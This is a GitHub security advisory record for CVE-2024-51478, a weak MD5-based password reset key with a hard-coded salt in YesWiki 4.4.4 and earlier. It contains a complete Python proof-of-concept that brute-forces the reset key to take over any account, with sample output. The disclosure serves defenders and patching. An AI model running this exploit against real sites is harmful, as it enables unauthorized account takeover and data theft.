{"id":"GHSA-4fvx-h823-38v3","summary":"YesWiki Uses a Broken or Risky Cryptographic Algorithm","details":"### Summary\nThe use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.\n\n### Details\nFirstly, the salt used to hash the password reset key is hard-coded in the `includes/services/UserManager.php` file at line `36` :\n\n```php\nprivate const PW_SALT = 'FBcA';\n```\n\nNext, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes/services/UserManager.php` file at line `201` :\n\n```php\nprotected function generateUserLink($user)\n{\n    // Generate the password recovery key\n    $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);\n```\n\nThe key is generated from the **user's name**, **e-mail address**, a random number **between 0 and 10000**, the **current date** of the request and the **salt**.\nIf we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.\n\n### Proof of Concept (PoC)\nTo demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Author: Nishacid\n# YesWiki \u003c= 4.4.4 Account Takeover via Weak Password Reset Crypto\n\nfrom hashlib import md5\nfrom requests import post, get\nfrom base64 import b64encode\nfrom sys import exit\nfrom datetime import datetime\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom argparse import ArgumentParser\n\n# Known data\nsalt = 'FBcA' # Hardcoded salt \nrandom_range = 10000  # Range for random_int()\nWORKERS = 20 # Number of workers\n\n# Arguments\ndef parseArgs():\n    parser = ArgumentParser()\n    parser.add_argument(\"-u\", \"--username\", dest=\"username\", default=None, help=\"Username of the account\", required=True)\n    parser.add_argument(\"-e\", \"--email\", dest=\"email\", default=None, help=\"Email of the account\", required=True)\n    parser.add_argument(\"-d\", \"--domain\", dest=\"domain\", default=None, help=\"Domain of the target\", required=True)\n    return parser.parse_args()\n\n# Reset password request and get timestamp  \ndef reset_password(email: str, domain: str):\n    response = post(\n        f'{domain}?MotDePassePerdu',\n        data={\n            'email': email, \n            'subStep': '1'\n        },\n        headers={\n            'Content-Type': 'application/x-www-form-urlencoded'\n        }\n    )\n    if response.ok:\n        timestamp = datetime.now() # obtain the timestamp\n        timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')\n        print(f\"[*] Requesting link for {email} at {timestamp}\")\n        return timestamp\n    else:\n        print(\"[-] Error while resetting password.\")\n        exit()\n\n# Generate and check keys\ndef check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):\n    user_base64 = b64encode(username.encode()).decode()\n    data = f\"{username}_{email}{random_int_val}{timestamp_req}{salt}\"\n    hash_candidate = md5(data.encode()).hexdigest()\n    url = f\"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}\"\n    # print(f\"[*] Checking {url}\")\n    response = get(url)\n    \n    # Check if the link is valid, warning depending on the language\n    if '\u003cstrong\u003eBienvenu.e' in response.text or '\u003cstrong\u003eWelcome' in response.text:\n        return (True, random_int_val, hash_candidate, url)\n    return (False, random_int_val, None, None)\n\ndef main(timestamp_req: str, domain: str, username: str, email: str):\n    # Launch the brute-force\n    print(f\"[*] Starting brute-force, it can take few minutes...\")\n    with ThreadPoolExecutor(max_workers=WORKERS) as executor:\n        futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]\n        \n        for future in as_completed(futures):\n            success, random_int_val, hash_candidate, url = future.result()\n            if success:\n                print(f\"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}\")\n                print(f\"[+] URL: {url}\")\n                exit()\n        else:\n            print(\"[-] Key not found.\")\n\nif __name__ == \"__main__\":\n    args = parseArgs()\n    timestamp_req = reset_password(args.email, args.domain)\n    main(timestamp_req, args.domain, args.username, args.email)\n```\n\nSimply run this script with the arguments `-u` for the username, `-e` for the email and `-d` for the target domain.\n\n```bash\n» python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' \n[*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48\n[*] Starting brute-force, it can take few minutes...\n[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9\n[+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K\n```\n\n### Impact\nMany impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.\n\n### Recommendation \nThe safest solution is to replace the salt with a random one and the hash algorithm with a more secure one.\nFor example, you can use [random bytes](https://www.php.net/manual/en/function.random-bytes.php) instead of a random integer.","aliases":["CVE-2024-51478"],"modified":"2024-10-31T19:49:34.458790Z","published":"2024-10-31T17:12:35Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2024-10-31T17:12:35Z","nvd_published_at":"2024-10-31T17:15:13Z","cwe_ids":["CWE-327"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-4fvx-h823-38v3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51478"},{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/commit/b5a8f93b87720d5d5f033a4b3a131ce0fb621dbc"},{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/commit/e1285709f6f6a2277bd0075acf369f33cefd78f7"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"affected":[{"package":{"name":"yeswiki/yeswiki","ecosystem":"Packagist","purl":"pkg:composer/yeswiki/yeswiki"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.5"}]}],"versions":["4.2.3","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.4.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-4fvx-h823-38v3/GHSA-4fvx-h823-38v3.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L"}]}